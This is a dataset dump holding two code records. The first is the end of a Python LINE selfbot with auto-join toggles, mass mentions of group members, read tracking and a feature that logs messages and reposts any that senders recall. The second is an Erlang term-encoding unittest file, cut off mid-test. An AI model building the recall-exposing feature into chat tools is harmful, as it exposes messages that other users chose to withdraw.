== 'add on':\n settings[\"autoAdd\"] = True\n backupData()\n cl.sendMessage(to, \"自動加入好友已開啟\")\n elif text.lower() == 'add off':\n settings[\"autoAdd\"] = False\n backupData()\n cl.sendMessage(to, \"自動加入好友已關閉\")\n elif text.lower() == 'join on':\n settings[\"autoJoin\"] = True\n backupData()\n cl.sendMessage(to, \"自動加入群組已開啟\")\n elif text.lower() == 'join off':\n settings[\"autoJoin\"] = False\n backupData()\n cl.sendMessage(to, \"自動加入群組已關閉\")\n elif text.lower() == 'leave on':\n settings[\"autoLeave\"] = True\n backupData()\n cl.sendMessage(to, \"自動離開副本已開啟\")\n elif text.lower() == 'leave off':\n settings[\"autoLeave\"] = False\n backupData()\n cl.sendMessage(to, \"自動離開副本已關閉\")\n elif text.lower() == 'reread on':\n settings[\"reread\"] = True\n backupData()\n cl.sendMessage(to, \"查詢收回開啟\")\n elif text.lower() == 'reread off':\n settings[\"reread\"] = False\n backupData()\n cl.sendMessage(to, \"查詢收回關閉\")\n elif msg.text.lower().startswith(\"bio \"):\n if 'MENTION' in msg.contentMetadata.keys()!= None:\n names = re.findall(r'@(\\w+)', text)\n mention = ast.literal_eval(msg.contentMetadata['MENTION'])\n mentionees = mention['MENTIONEES']\n lists = []\n for mention in mentionees:\n if mention[\"M\"] not in lists:\n lists.append(mention[\"M\"])\n for ls in lists:\n contact = cl.getContact(ls)\n cl.sendMessage(msg.to, \"[ 狀態消息 ]\\n{}\" + contact.statusMessage)\n elif text.lower() == 'tagall':\n group = cl.getGroup(msg.to)\n nama = [contact.mid for contact in group.members]\n k = len(nama)//100\n for a in range(k+1):\n txt = u''\n s=0\n b=[]\n for i in group.members[a*100 : (a+1)*100]:\n b.append({\"S\":str(s), \"E\" :str(s+6), \"M\":i.mid})\n s += 7\n txt += u'@Alin \\n'\n cl.sendMessage(to, text=txt, contentMetadata={u'MENTION': json.dumps({'MENTIONEES':b})}, contentType=0)\n cl.sendMessage(to, \"總共 {} 個成員\".format(str(len(nama))))\n if op.type == 26:\n if msg.contentType == 0:\n try:\n msg = op.message\n if settings[\"reread\"] == True:\n if msg.toType == 0:\n cl.log(\"[%s]\"%(msg._from)+msg.text)\n else:\n cl.log(\"[%s]\"%(msg.to)+msg.text)\n if msg.contentType == 0:\n msg_dict[msg.id] = {\"text\":msg.text,\"from\":msg._from,\"createdTime\":msg.createdTime}\n else:\n pass\n except Exception as e:\n print(e)\n else:\n pass\n if op.type == 65:\n try:\n at = op.param1\n msg_id = op.param2\n if settings[\"reread\"] == True:\n if msg_id in msg_dict:\n if msg_dict[msg_id][\"from\"] not in bl:\n cl.sendMessage(at,\"%s\\n[收回了]\\n%s\"%(cl.getContact(msg_dict[msg_id][\"from\"]).displayName,msg_dict[msg_id][\"text\"]))\n del msg_dict[msg_id]\n else:\n pass\n except Exception as e:\n print(e)\n if op.type == 55:\n try:\n if op.param1 in wait2['readPoint']:\n Name = cl.getContact(op.param2).displayName\n if Name in wait2['readMember'][op.param1]:\n pass\n else:\n wait2['readMember'][op.param1] += \"\\n[•]\" + Name\n wait2['ROM'][op.param1][op.param2] = \"[•]\" + Name\n print (time.time() + name)\n else:\n pass\n except:\n pass\n except Exception as error:\n logError(error)\ndef find_between_r( s, first, last ):\n try:\n start = s.rindex( first ) + len( first )\n end = s.rindex( last, start )\n return s[start:end]\n except ValueError:\n return \"\"\nwhile True:\n try:\n ops = oepoll.singleTrace(count=50)\n if ops is not None:\n for op in ops:\n lineBot(op)\n oepoll.setRevision(op.revision)\n except Exception as e:\n logError(e)\n","repo_name":"rootnosloor/3.1","sub_path":"CoCoLine-V.py","file_name":"CoCoLine-V.py","file_ext":"py","file_size_in_byte":21976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"34918484368","text":"import sys\nimport os\nsys.path.insert(0,\n os.path.sep.join(\n os.path.dirname(\n os.path.abspath(__file__)\n ).split(os.path.sep)[:-1]\n )\n)\nimport unittest\nimport erlang\nfrom collections import OrderedDict\ntry:\n import coverage\nexcept ImportError:\n coverage = None\n\n# many of the test cases were adapted\n# from erlport (https://github.com/hdima/erlport)\n# to make the tests more exhaustive\n\n# pylint: disable=missing-docstring\n\nclass AtomTestCase(unittest.TestCase):\n def test_atom(self):\n atom1 = erlang.OtpErlangAtom('test')\n self.assertEqual(erlang.OtpErlangAtom, type(atom1))\n self.assertEqual(erlang.OtpErlangAtom('test'), atom1)\n self.assertEqual(\"OtpErlangAtom('test')\", repr(atom1))\n self.assertTrue(isinstance(atom1, erlang.OtpErlangAtom))\n atom2 = erlang.OtpErlangAtom('test2')\n atom1_new = erlang.OtpErlangAtom('test')\n self.assertFalse(atom1 is atom2)\n self.assertNotEqual(hash(atom1), hash(atom2))\n self.assertFalse(atom1 is atom1_new)\n self.assertEqual(hash(atom1), hash(atom1_new))\n self.assertEqual('X' * 255, erlang.OtpErlangAtom('X' * 255).value)\n self.assertEqual('X' * 256, erlang.OtpErlangAtom('X' * 256).value)\n def test_invalid_atom(self):\n self.assertRaises(erlang.OutputException,\n erlang.OtpErlangAtom.binary,\n erlang.OtpErlangAtom([1, 2]))\n\nclass ListTestCase(unittest.TestCase):\n def test_list(self):\n lst = erlang.OtpErlangList([116, 101, 115, 116])\n self.assertTrue(isinstance(lst, erlang.OtpErlangList))\n self.assertEqual(erlang.OtpErlangList([116, 101, 115, 116]), lst)\n self.assertEqual([116, 101, 115, 116], lst.value)\n self.assertEqual('OtpErlangList([116, 101, 115, 116],improper=False)',\n repr(lst))\n\nclass ImproperListTestCase(unittest.TestCase):\n def test_improper_list(self):\n lst = erlang.OtpErlangList([1, 2, 3, 4], improper=True)\n self.assertTrue(isinstance(lst, erlang.OtpErlangList))\n self.assertEqual([1, 2, 3, 4], lst.value)\n self.assertEqual(4, lst.value[-1])\n self.assertEqual('OtpErlangList([1, 2, 3, 4],improper=True)',\n repr(lst))\n def test_comparison(self):\n lst = erlang.OtpErlangList([1, 2, 3, 4], improper=True)\n self.assertEqual(lst, lst)\n self.assertEqual(lst,\n erlang.OtpErlangList([1, 2, 3, 4], improper=True))\n self.assertNotEqual(lst,\n erlang.OtpErlangList([1, 2, 3, 5], improper=True))\n self.assertNotEqual(lst,\n erlang.OtpErlangList([1, 2, 3], improper=True))\n def test_errors(self):\n self.assertRaises(erlang.OutputException,\n erlang.OtpErlangList.binary,\n erlang.OtpErlangList(\"invalid\", improper=True))\n\nclass DecodeTestCase(unittest.TestCase):\n # pylint: disable=invalid-name\n def test_binary_to_term(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83z')\n def test_binary_to_term_atom(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83d')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83d\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83d\\0\\1')\n self.assertEqual(erlang.OtpErlangAtom(b''),\n erlang.binary_to_term(b'\\x83d\\0\\0'))\n self.assertEqual(erlang.OtpErlangAtom(b''),\n erlang.binary_to_term(b'\\x83s\\0'))\n self.assertEqual(erlang.OtpErlangAtom(b'test'),\n erlang.binary_to_term(b'\\x83d\\0\\4test'))\n self.assertEqual(erlang.OtpErlangAtom(b'test'),\n erlang.binary_to_term(b'\\x83s\\4test'))\n self.assertEqual(erlang.OtpErlangAtom(u'name'),\n erlang.binary_to_term(b'\\x83w\\x04name'))\n def test_binary_to_term_predefined_atoms(self):\n self.assertEqual(True, erlang.binary_to_term(b'\\x83s\\4true'))\n self.assertEqual(False, erlang.binary_to_term(b'\\x83s\\5false'))\n self.assertEqual(False, erlang.binary_to_term(b'\\x83w\\5false'))\n self.assertEqual(None, erlang.binary_to_term(b'\\x83s\\11undefined'))\n self.assertEqual(None, erlang.binary_to_term(b'\\x83w\\11undefined'))\n self.assertEqual(None, erlang.binary_to_term(b'\\x83d\\0\\11undefined'))\n self.assertEqual(None, erlang.binary_to_term(b'\\x83v\\0\\11undefined'))\n def test_binary_to_term_empty_list(self):\n self.assertEqual([], erlang.binary_to_term(b'\\x83j'))\n def test_binary_to_term_string_list(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83k')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83k\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83k\\0\\1')\n self.assertEqual(b'', erlang.binary_to_term(b'\\x83k\\0\\0'))\n self.assertEqual(b'test', erlang.binary_to_term(b'\\x83k\\0\\4test'))\n def test_binary_to_term_list(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83l')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83l\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83l\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83l\\0\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83l\\0\\0\\0\\0')\n self.assertEqual([], erlang.binary_to_term(b'\\x83l\\0\\0\\0\\0j'))\n self.assertEqual([[], []], erlang.binary_to_term(b'\\x83l\\0\\0\\0\\2jjj'))\n def test_binary_to_term_improper_list(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83l\\0\\0\\0\\0k')\n lst = erlang.binary_to_term(b'\\x83l\\0\\0\\0\\1jd\\0\\4tail')\n self.assertEqual(isinstance(lst, erlang.OtpErlangList), True)\n self.assertEqual([[], erlang.OtpErlangAtom(b'tail')], lst.value)\n self.assertEqual(True, lst.improper)\n def test_binary_to_term_map(self):\n # represents #{ {at,[hello]} => ok}\n binary = b\"\\x83t\\x00\\x00\\x00\\x01h\\x02d\\x00\\x02atl\\x00\\x00\\x00\\x01d\\x00\\x05hellojd\\x00\\x02ok\"\n map_with_list = erlang.binary_to_term(binary)\n self.assertEqual(isinstance(map_with_list, dict), True)\n def test_binary_to_term_small_tuple(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83h')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83h\\1')\n self.assertEqual((), erlang.binary_to_term(b'\\x83h\\0'))\n self.assertEqual(([], []), erlang.binary_to_term(b'\\x83h\\2jj'))\n def test_binary_to_term_large_tuple(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83i')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83i\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83i\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83i\\0\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83i\\0\\0\\0\\1')\n self.assertEqual((), erlang.binary_to_term(b'\\x83i\\0\\0\\0\\0'))\n self.assertEqual(([], []), erlang.binary_to_term(b'\\x83i\\0\\0\\0\\2jj'))\n def test_binary_to_term_small_integer(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83a')\n self.assertEqual(0, erlang.binary_to_term(b'\\x83a\\0'))\n self.assertEqual(255, erlang.binary_to_term(b'\\x83a\\xff'))\n def test_binary_to_term_integer(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83b')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83b\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83b\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83b\\0\\0\\0')\n self.assertEqual(0, erlang.binary_to_term(b'\\x83b\\0\\0\\0\\0'))\n self.assertEqual(2147483647,\n erlang.binary_to_term(b'\\x83b\\x7f\\xff\\xff\\xff'))\n self.assertEqual(-2147483648,\n erlang.binary_to_term(b'\\x83b\\x80\\0\\0\\0'))\n self.assertEqual(-1, erlang.binary_to_term(b'\\x83b\\xff\\xff\\xff\\xff'))\n def test_binary_to_term_binary(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83m')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83m\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83m\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83m\\0\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83m\\0\\0\\0\\1')\n self.assertEqual(erlang.OtpErlangBinary(b''),\n erlang.binary_to_term(b'\\x83m\\0\\0\\0\\0'))\n self.assertEqual(erlang.OtpErlangBinary(b'data'),\n erlang.binary_to_term(b'\\x83m\\0\\0\\0\\4data'))\n def test_binary_to_term_float(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83F')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83F\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83F\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83F\\0\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83F\\0\\0\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83F\\0\\0\\0\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83F\\0\\0\\0\\0\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83F\\0\\0\\0\\0\\0\\0\\0')\n self.assertEqual(0.0, erlang.binary_to_term(b'\\x83F\\0\\0\\0\\0\\0\\0\\0\\0'))\n self.assertEqual(1.5, erlang.binary_to_term(b'\\x83F?\\xf8\\0\\0\\0\\0\\0\\0'))\n def test_binary_to_term_small_big_integer(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83n')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83n\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83n\\1\\0')\n self.assertEqual(0, erlang.binary_to_term(b'\\x83n\\0\\0'))\n self.assertEqual(6618611909121,\n erlang.binary_to_term(b'\\x83n\\6\\0\\1\\2\\3\\4\\5\\6'))\n self.assertEqual(-6618611909121,\n erlang.binary_to_term(b'\\x83n\\6\\1\\1\\2\\3\\4\\5\\6'))\n def test_binary_to_term_big_integer(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83o')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83o\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83o\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83o\\0\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83o\\0\\0\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83o\\0\\0\\0\\1\\0')\n self.assertEqual(0, erlang.binary_to_term(b'\\x83o\\0\\0\\0\\0\\0'))\n self.assertEqual(6618611909121,\n erlang.binary_to_term(b'\\x83o\\0\\0\\0\\6\\0\\1\\2\\3\\4\\5\\6'))\n self.assertEqual(-6618611909121,\n erlang.binary_to_term(b'\\x83o\\0\\0\\0\\6\\1\\1\\2\\3\\4\\5\\6'))\n def test_binary_to_term_map(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83t')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83t\\x00')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83t\\x00\\x00')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83t\\x00\\x00\\x00')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83t\\x00\\x00\\x00\\x01')\n self.assertEqual({}, erlang.binary_to_term(b'\\x83t\\x00\\x00\\x00\\x00'))\n map1 = {\n erlang.OtpErlangAtom(b'a'): 1,\n }\n map1_binary = b'\\x83t\\x00\\x00\\x00\\x01s\\x01aa\\x01'\n self.assertEqual(map1, erlang.binary_to_term(map1_binary))\n map2 = {\n erlang.OtpErlangBinary(b'\\xA8', 6):\n erlang.OtpErlangBinary(b'everything'),\n None:\n erlang.OtpErlangBinary(b'nothing'),\n }\n map2_binary = (\n b'\\x83\\x74\\x00\\x00\\x00\\x02\\x77\\x09\\x75\\x6E\\x64\\x65\\x66\\x69'\n b'\\x6E\\x65\\x64\\x6D\\x00\\x00\\x00\\x07\\x6E\\x6F\\x74\\x68\\x69\\x6E'\n b'\\x67\\x4D\\x00\\x00\\x00\\x01\\x06\\xA8\\x6D\\x00\\x00\\x00\\x0A\\x65'\n b'\\x76\\x65\\x72\\x79\\x74\\x68\\x69\\x6E\\x67'\n )\n self.assertEqual(map2, erlang.binary_to_term(map2_binary))\n def test_binary_to_term_pid(self):\n pid_old_binary = (\n b'\\x83\\x67\\x64\\x00\\x0D\\x6E\\x6F\\x6E\\x6F\\x64\\x65\\x40\\x6E\\x6F'\n b'\\x68\\x6F\\x73\\x74\\x00\\x00\\x00\\x4E\\x00\\x00\\x00\\x00\\x00'\n )\n pid_old = erlang.binary_to_term(pid_old_binary)\n self.assertTrue(isinstance(pid_old, erlang.OtpErlangPid))\n self.assertEqual(erlang.term_to_binary(pid_old),\n b'\\x83gs\\rnonode@nohost\\x00\\x00\\x00N'\n b'\\x00\\x00\\x00\\x00\\x00')\n pid_new_binary = (\n b'\\x83\\x58\\x64\\x00\\x0D\\x6E\\x6F\\x6E\\x6F\\x64\\x65\\x40\\x6E\\x6F\\x68'\n b'\\x6F\\x73\\x74\\x00\\x00\\x00\\x4E\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n )\n pid_new = erlang.binary_to_term(pid_new_binary)\n self.assertTrue(isinstance(pid_new, erlang.OtpErlangPid))\n self.assertEqual(erlang.term_to_binary(pid_new),\n b'\\x83Xs\\rnonode@nohost\\x00\\x00\\x00N'\n b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\n def test_binary_to_term_port(self):\n port_old_binary = (\n b'\\x83\\x66\\x64\\x00\\x0D\\x6E\\x6F\\x6E\\x6F\\x64\\x65\\x40\\x6E\\x6F\\x68'\n b'\\x6F\\x73\\x74\\x00\\x00\\x00\\x06\\x00'\n )\n port_old = erlang.binary_to_term(port_old_binary)\n self.assertTrue(isinstance(port_old, erlang.OtpErlangPort))\n self.assertEqual(erlang.term_to_binary(port_old),\n b'\\x83fs\\rnonode@nohost\\x00\\x00\\x00\\x06\\x00')\n port_new_binary = (\n b'\\x83\\x59\\x64\\x00\\x0D\\x6E\\x6F\\x6E\\x6F\\x64\\x65\\x40\\x6E\\x6F\\x68'\n b'\\x6F\\x73\\x74\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00'\n )\n port_new = erlang.binary_to_term(port_new_binary)\n self.assertTrue(isinstance(port_new, erlang.OtpErlangPort))\n self.assertEqual(erlang.term_to_binary(port_new),\n b'\\x83Ys\\rnonode@nohost\\x00\\x00\\x00\\x06'\n b'\\x00\\x00\\x00\\x00')\n port_v4_binary = (\n b'\\x83\\x78\\x77\\x0D\\x6E\\x6F\\x6E\\x6F\\x64\\x65\\x40\\x6E\\x6F\\x68\\x6F'\n b'\\x73\\x74\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00'\n )\n port_v4 = erlang.binary_to_term(port_v4_binary)\n self.assertTrue(isinstance(port_v4, erlang.OtpErlangPort))\n self.assertEqual(erlang.term_to_binary(port_v4), port_v4_binary)\n def test_binary_to_term_ref(self):\n ref_new_binary = (\n b'\\x83\\x72\\x00\\x03\\x64\\x00\\x0D\\x6E\\x6F\\x6E\\x6F\\x64\\x65\\x40\\x6E'\n b'\\x6F\\x68\\x6F\\x73\\x74\\x00\\x00\\x03\\xE8\\x4E\\xE7\\x68\\x00\\x02\\xA4'\n b'\\xC8\\x53\\x40'\n )\n ref_new = erlang.binary_to_term(ref_new_binary)\n self.assertTrue(isinstance(ref_new, erlang.OtpErlangReference))\n self.assertEqual(erlang.term_to_binary(ref_new),\n b'\\x83r\\x00\\x03s\\rnonode@nohost\\x00\\x00\\x03\\xe8'\n b'N\\xe7h\\x00\\x02\\xa4\\xc8S@')\n ref_newer_binary = (\n b'\\x83\\x5A\\x00\\x03\\x64\\x00\\x0D\\x6E\\x6F\\x6E\\x6F\\x64\\x65\\x40\\x6E'\n b'\\x6F\\x68\\x6F\\x73\\x74\\x00\\x00\\x00\\x00\\x00\\x01\\xAC\\x03\\xC7\\x00'\n b'\\x00\\x04\\xBB\\xB2\\xCA\\xEE'\n )\n ref_newer = erlang.binary_to_term(ref_newer_binary)\n self.assertTrue(isinstance(ref_newer, erlang.OtpErlangReference))\n self.assertEqual(erlang.term_to_binary(ref_newer),\n b'\\x83Z\\x00\\x03s\\rnonode@nohost\\x00\\x00\\x00\\x00\\x00'\n b'\\x01\\xac\\x03\\xc7\\x00\\x00\\x04\\xbb\\xb2\\xca\\xee')\n def test_binary_to_term_compressed_term(self):\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83P')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83P\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83P\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83P\\0\\0\\0')\n self.assertRaises(erlang.ParseException,\n erlang.binary_to_term, b'\\x83P\\0\\0\\0\\0')\n self.assertRaises(\n erlang.ParseException, erlang.binary_to_term,\n b'\\x83P\\0\\0\\0\\x16\\x78\\xda\\xcb\\x66\\x10\\x49\\xc1\\2\\0\\x5d\\x60\\x08\\x50'\n )\n self.assertEqual(\n b'd' * 20,\n erlang.binary_to_term(\n b'\\x83P\\0\\0\\0\\x17\\x78\\xda\\xcb\\x66'\n b'\\x10\\x49\\xc1\\2\\0\\x5d\\x60\\x08\\x50'\n )\n )\n\nclass EncodeTestCase(unittest.TestCase):\n # pylint: disable=invalid-name\n def test_term_to_binary_tuple(self):\n self.assertEqual(b'\\x83h\\0', erlang.term_to_binary(()))\n self.assertEqual(b'\\x83h\\2h\\0h\\0', erlang.term_to_binary(((), ())))\n self.assertEqual(b'\\x83h\\xff' + b'h\\0' * 255,\n erlang.term_to_binary(tuple([()] * 255)))\n self.assertEqual(b'\\x83i\\0\\0\\1\\0' + b'h\\0' * 256,\n erlang.term_to_binary(tuple([()] * 256)))\n def test_term_to_binary_empty_list(self):\n self.assertEqual(b'\\x83j', erlang.term_to_binary([]))\n def test_term_to_binary_string_list(self):\n self.assertEqual(b'\\x83j', erlang.term_to_binary(''))\n self.assertEqual(b'\\x83k\\0\\1\\0', erlang.term_to_binary('\\0'))\n value = (\n b'\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\x0b\\x0c\\r'\n b'\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a'\n b'\\x1b\\x1c\\x1d\\x1e\\x1f !\"#$%&\\'()*+,-./0123456789:;<=>'\n b'?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklmnopq'\n b'rstuvwxyz{|}~\\x7f\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88'\n b'\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95'\n b'\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2'\n b'\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf'\n b'\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc'\n b'\\xbd\\xbe\\xbf\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9'\n b'\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6'\n b'\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1\\xe2\\xe3'\n b'\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0'\n b'\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff'\n )\n self.assertEqual(b'\\x83k\\1\\0' + value, erlang.term_to_binary(value))\n def test_term_to_binary_list_basic(self):\n self.assertEqual(b'\\x83\\x6A', erlang.term_to_binary([]))\n self.assertEqual(b'\\x83\\x6C\\x00\\x00\\x00\\x01\\x6A\\x6A',\n erlang.term_to_binary(['']))\n self.assertEqual(b'\\x83\\x6C\\x00\\x00\\x00\\x01\\x61\\x01\\x6A',\n erlang.term_to_binary([1]))\n self.assertEqual(b'\\x83\\x6C\\x00\\x00\\x00\\x01\\x61\\xFF\\x6A',\n erlang.term_to_binary([255]))\n self.assertEqual(b'\\x83\\x6C\\x00\\x00\\x00\\x01\\x62\\x00\\x00\\x01\\x00\\x6A',\n erlang.term_to_binary([256]))\n self.assertEqual(b'\\x83\\x6C\\x00\\x00\\x00\\x01\\x62\\x7F\\xFF\\xFF\\xFF\\x6A',\n erlang.term_to_binary([2147483647]))\n self.assertEqual(\n b'\\x83\\x6C\\x00\\x00\\x00\\x01\\x6E\\x04\\x00\\x00\\x00\\x00\\x80\\x6A',\n erlang.term_to_binary([2147483648])\n )\n self.assertEqual(b'\\x83\\x6C\\x00\\x00\\x00\\x01\\x61\\x00\\x6A',\n erlang.term_to_binary([0]))\n self.assertEqual(b'\\x83\\x6C\\x00\\x00\\x00\\x01\\x62\\xFF\\xFF\\xFF\\xFF\\x6A',\n erlang.term_to_binary([-1]))\n self.assertEqual(b'\\x83\\x6C\\x00\\x00\\x00\\x01\\x62\\xFF\\xFF\\xFF\\x00\\x6A',\n erlang.term_to_binary([-256]))\n self.assertEqual(b'\\x83\\x6C\\x00\\x00\\x00\\x01\\x62\\xFF\\xFF\\xFE\\xFF\\x6A',\n erlang.term_to_binary([-257]))\n self.assertEqual(b'\\x83\\x6C\\x00\\x00\\x00\\x01\\x62\\x80\\x00\\x00\\x00\\x6A',\n erlang.term_to_binary([-2147483648]))\n self.assertEqual(\n b'\\x83\\x6C\\x00\\x00\\x00\\x01\\x6E\\x04\\x01\\x01\\x00\\x00\\x80\\x6A',\n erlang.term_to_binary([-2147483649])\n )\n self.assertEqual(\n b'\\x83\\x6C\\x00\\x00\\x00\\x01\\x6B\\x00\\x04\\x74\\x65\\x73\\x74\\x6A',\n erlang.term_to_binary(['test'])\n )\n self.assertEqual(\n b'\\x83\\x6C\\x00\\x00\\x00\\x02\\x62\\x00\\x00\\x01\\x75\\x62\\x00\\x00'\n b'\\x01\\xC7\\x6A',\n erlang.term_to_binary([373, 455])\n )\n self.assertEqual(b'\\x83\\x6C\\x00\\x00\\x00\\x01\\x6A\\x6A',\n erlang.term_to_binary([[]]))\n self.assertEqual(b'\\x83\\x6C\\x00\\x00\\x00\\x02\\x6A\\x6A\\x6A',\n erlang.term_to_binary([[], []]))\n self.assertEqual(\n b'\\x83\\x6C\\x00\\x00\\x00\\x03\\x6C\\x00\\x00\\x00\\x02\\x6B\\x00\\x04\\x74\\x68'\n b'\\x69\\x73\\x6B\\x00\\x02\\x69\\x73\\x6A\\x6C\\x00\\x00\\x00\\x01\\x6C\\x00\\x00'\n b'\\x00\\x01\\x6B\\x00\\x01\\x61\\x6A\\x6A\\x6B\\x00\\x04\\x74\\x65\\x73\\x74\\x6A',\n erlang.term_to_binary([['this', 'is'], [['a']], 'test'])\n )\n def test_term_to_binary_list(self):\n self.assertEqual(b'\\x83l\\0\\0\\0\\1jj', erlang.term_to_binary([[]]))\n self.assertEqual(b'\\x83l\\0\\0\\0\\5jjjjjj',\n erlang.term_to_binary([[], [], [], [], []]))\n self.assertEqual(\n b'\\x83l\\0\\0\\0\\5jjjjjj',\n erlang.term_to_binary(erlang.OtpErlangList([\n erlang.OtpErlangList([]),\n erlang.OtpErlangList([]),\n erlang.OtpErlangList([]),\n erlang.OtpErlangList([]),\n erlang.OtpErlangList([])\n ]))\n )\n def test_term_to_binary_improper_list(self):\n self.assertEqual(\n b'\\x83l\\0\\0\\0\\1h\\0h\\0',\n erlang.term_to_binary(\n erlang.OtpErlangList([(), ()], improper=True)\n )\n )\n self.assertEqual(\n b'\\x83l\\0\\0\\0\\1a\\0a\\1',\n erlang.term_to_binary(\n erlang.OtpErlangList([0, 1], improper=True)\n )\n )\n def test_term_to_binary_unicode(self):\n self.assertEqual(b'\\x83j', erlang.term_to_binary(''))\n self.assertEqual(b'\\x83k\\0\\4test', erlang.term_to_binary('test'))\n self.assertEqual(b'\\x83k\\0\\3\\x00\\xc3\\xbf',\n erlang.term_to_binary(b'\\x00\\xc3\\xbf'))\n self.assertEqual(b'\\x83k\\0\\2\\xc4\\x80',\n erlang.term_to_binary(b'\\xc4\\x80'))\n self.assertEqual(\n b'\\x83k\\0\\x08\\xd1\\x82\\xd0\\xb5\\xd1\\x81\\xd1\\x82',\n 